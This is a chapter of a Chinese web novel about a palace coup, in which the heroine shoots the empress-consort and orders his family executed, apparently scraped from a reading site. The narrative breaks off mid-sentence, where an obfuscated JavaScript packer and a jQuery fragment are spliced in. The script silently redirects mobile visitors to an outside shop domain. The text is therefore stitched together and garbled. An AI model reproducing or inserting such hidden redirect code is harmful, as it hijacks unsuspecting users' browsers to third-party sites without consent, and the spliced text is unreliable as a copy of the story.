白鸽纪元9147年8月27日。
零点十分。
江昭愿把许莫多从睡梦中摇醒。
“喂,你说他们为什么想不开非要在半夜偷袭啊。”
许莫多手忙脚乱套上衣服,“有逼格吧,不是都说什么月黑风高夜杀人越货。”
江昭愿轻笑一声,“好吧。那我们争取在天亮前解决麻烦。”
血,铺天盖地到处是血。
江昭愿扛着枪走在前往太阳宫的路上。南门大街是主战场,所以她把伊西斯留在那里守着。白七现下还带着护卫军守在太阳宫各处防止反扑。江岁正在统计宫内外的无辜人员伤亡率,许莫多在实时关注各方家族消息。林绥在中心城内带着第一军逮捕逃窜的反叛者。
中心城大部分家庭的灯都亮了一个晚上,她承认是她的失误,她没算到希尔家族偷偷养了那么多私兵,趁乱在中心城引起骚动。今晚这么热闹应该文娱板块匿名贴已经炸了吧,大概今天会不约而同放假?要是九点之前不能结束,那还需要上班的打工人就惨了。
她边走边想,最后停在一个分叉路口。
希尔住在哪里来着?西太阳殿。好像是的。
江昭愿走的很慢,步子拖在地上发出要要死不活的声音。
她看见很多死的人活的人,到底为什么呢?
江昭愿Duang一声,把手中枪别在腰后,还是别闹得太难看了。
西太阳宫的主殿只有两个人,江昭愿在走廊尽头停下。
克莱奥·希尔就站在对面,身后是紧闭的大门。他穿着一件深灰色礼服,头发梳的一丝不苟,面容精致的完全看不出像一个五十多岁的男人。
而江奉站在他身前半步的位置。
十三岁的少年,脸色苍白脆弱。他穿着和希尔同色系的礼服。
看起来这半年,希尔家族把他养的很糟糕,脸颊小小的看不见一丁点肉。
江昭愿率先开口,“父后,我们又见面了。”
克莱奥·希尔整个人冷若冰霜,他凝视她许久,终于缓缓开口,“你真的要走到这一步吗?”
江昭愿忽而绽开笑容,“说这句话的应该是我吧。”
倒打一耙的家伙。
“您看起来很自信。是对结果早有预料吗?”
时间一分一秒过去,他们三人就站在原地谁也不肯后退半步。
“如果您不想让我登上那个位置直说就可。”
走廊两侧打开了窗户,风裹挟着血腥味硝烟味吹进来。
原来血和水是一样的,打湿衣服粘在身上会让人感觉冷,冷到骨子里都在颤抖。
克莱奥否认了她的话,他微微摇头道,“你会让吗,你和你母亲流着同样的血,同样的骄傲,同样的自大,同样不把人真心当真心。”
他变了,克莱奥的面容从记忆里逐渐淡化。江昭愿想不通,为什么一张相似的脸会说出截然相反的话。
不过没关系,母亲说过,想不通的就不要想了,只会给自己徒增烦恼。
“那我也应该像您,薄情寡义,自私冷血。舍得牺牲自己血脉至亲谋求大义。”
“什么是大义?”
江昭愿举起手中的枪对准克莱奥,“您就是大义。”
“公爵府已经被围起来了,太阳宫的局势现在非常明了,只剩下那些不成气候的家族,你在为谁拖延时间?”
“你会走上和你母亲一样的老路,你……”
江昭愿没打算等他说完,枪口直直瞄准他眉心。
“砰!”
一声枪响,尘埃落定。
克莱奥·希尔露出他们见面后第一个微笑,一头栽倒在地上。
压抑到至极的氛围骤然崩断,枪声仿佛在耳边炸开,子弹飞驰过他头颅,溅了满地血。
克莱奥的尸体好像在动,墙也好像在动,世间死物忽然都开始扭曲,江昭愿眼中天旋地转。
江奉呆愣在原地,他傻傻抬起手,擦去脸上的血,他离得太近了,近到他还能借住这些血触碰到克莱奥·希尔的体温。
克莱奥·希尔死了。
克莱奥·希尔死了?
克莱奥·希尔死了!
哈?哈哈哈哈哈哈!
江昭愿抑制不住捂着脸狂笑。
人命就是这样不值钱,像扎破一个气球般,砰!就死了。
即便他贵为皇后,此刻也如同外面千千百百具尸体一样,破布一卷草草收敛。黄土白骨啊你就平等的面向世人。
生前何其贵,死后何其贱。
何苦呢?
哐当一声,她手中的枪支落地。
江昭愿仍旧站在原地,她脚步有千斤重,连累她无法上前去查看克莱奥的尸体,无法往后逃离这个令人窒息的空间。
她为什么会开枪呢?
她怎么会开枪呢?
她也有病。她就是说她们一家都是神经病吧。
克莱奥真的死了吗?
江昭愿再次睁眼去看地上的男人,场景却不一样了。
他的头发不再整齐,他的容颜不再漂亮,他瘦骨嶙峋躺在床上,咳嗽一声接一声,捂嘴的手帕被血染红。
可没等她走上前,场景又变了。
是她的母亲,她的手还是温热的。但她没有来得及和她道别。她会对她做出的选择失望吗,会怒其不争哀其不幸吗?
“孩子。”
谁?谁在说话?
江昭愿侧耳去听,去寻找,她什么都听不到,只有风声,风声在呼啸。
她眼前一黑,倒入地平线升起的曦光中。
“昭愿?昭愿?你感觉怎么样。”
许莫多焦急的双手握着她,目光殷切。
江昭愿捂着头,在许莫多搀扶下坐起身。她环视一圈周围,熟悉的环境是她的寝宫。
江岁,伊西斯,白七在房间西边的沙发上。许莫多和林绥坐在她床头,一左一右,像两尊石狮子。
林绥倒了一杯水递过来,“有没有什么不舒服,医生说你太紧张晕倒了。”
晕倒吗?
江昭愿润了润嗓子说,“晕了多久?”
许莫多打开光脑,“两个小时,现在上午九点三十七。”
“哦,”江昭愿点点头,“打完了?”
“基本,皇……希尔先生的尸体没有您的命令无人敢动,小希尔公子也暂时被关在西太阳殿里。公爵府还在看管中。裴校长暂时接受了护卫军和中心城的善后事宜。得益于您传过来的地图,第二军少将女士,及时拦截下郊区一批潜逃的希尔私兵,他们原计划是打算炸毁郊区的军武仓库。以及部分反叛军主谋畏罪自杀,没有来得及拦下。名单稍后发给您。”
伊西斯走过来说。
江昭愿点点头,“很好。走吧,我们还得收尾,给这个事情来一场完美结局。”
江昭愿第一
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17616178|206054||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
次独自坐在了太阳宫最高级别会议室里,还是长桌最前方的主座。
黑色丝绒材料的椅子端端正正,她穿着一身双子星军校的校服,和十八岁的毕业学生没有任何两样。
跪在她身前的是司法部部长。
会议室的桌子只有四成坐着人。她能感受到桌子两旁投来的目光,有审视,有敬畏,也有期待。在场大部分人比她年长一辈,但没人与她对视。
他们的同僚,也许一部分还在监狱,一部分在家中,更多应该都下地狱去了。
“叛国罪,谋杀罪,篡位罪。他的尸体就摆在外面。您认为如何审判比较好。”
司法部长擦了擦额头汗,犹豫片刻给出答案,“这……死人开庭,一般是把尸体抬上去。”
“哦?”江昭愿手指轻轻叩响桌面,面带疑虑,“那岂不是太麻烦你们了。”
司法部长在她抬手示意下,颤颤巍巍回到凳子上,“不,不麻烦。”
“好啦,不要紧张,我很善解人意的。”江昭愿安抚在场各位,下达自己最终的指令,“对于希尔家族的处决……主犯克莱奥·希尔的尸体拖出去找块地埋了。雪莱·希尔暂时关押进监狱,严加看管。希尔夫人不知情且年事已高,看在她兢兢业业的份上,就留在中心城。”
不把你拉去开庭了,多狼狈,多丢脸。曾经光鲜亮丽红极一时的克莱奥最后居然是以尸体模样出现在世人眼前。
你说,文娱八卦会讨论你额头上那个子弹穿过的洞吗。
“三日后开最高级法庭,向全M星人公布皇后克莱奥,护卫军首领坎贝等主谋的罪行。希尔家族相关的成员全部处死,审判完再处死。至于剩下。”
江昭愿在思考,“参与此次谋反的家族……”
好像有大有小来着,克莱奥扎根势力说深不深说浅不浅。
她思考半天,心里莫名堵堵涨涨的难受,熬了三个通宵的后遗症在此显现。
“护卫军呢?”
会议桌上没有说话。她一张张熟悉面孔扫过去,后知后觉想起来。
护卫军队内,三等品级以上的将领都死了。
江昭愿后仰,靠在椅子上,“第三军少将在哪?”
左手边第四个红色狼尾发型的女士起身行礼。
“明天起,你带个学生。那些说错话的家族,带人围了。就地格杀。”她的大脑有些混沌,一会说到左边一会想到右边,“哦不,我不是人你去。你只需要带个学生就行。我实在告诉你,你学生上任后的第一个任务。”
“把握好机会,护卫军首席的恩师。”
江昭愿起身拍拍红发少将的肩膀,伸着懒腰走出会议室。
“有什么事明天再说吧,祝大家今晚好梦。”
原来是梦。
大梦一场,江昭愿越发觉得困乏。
时间投屏在墙上,凌晨零点十分。
她打开光信,未读中有一条伊西斯三小时前的消息。
“陛下原谅我冒昧重复询问。你白日对希尔家族的判决吗?”
“嗡”的一声,伊西斯大概也想不到陛下会在此刻打来电话。
是以江昭愿看到的就是一副手忙脚乱,勉强维持清醒模样的贴身侍官。
“如果你记性不好就开录音。”陛下声音听起来有些沙哑。
“我只说一遍,明天你跟着白七去,希尔公爵府——全部”
“就地格杀。”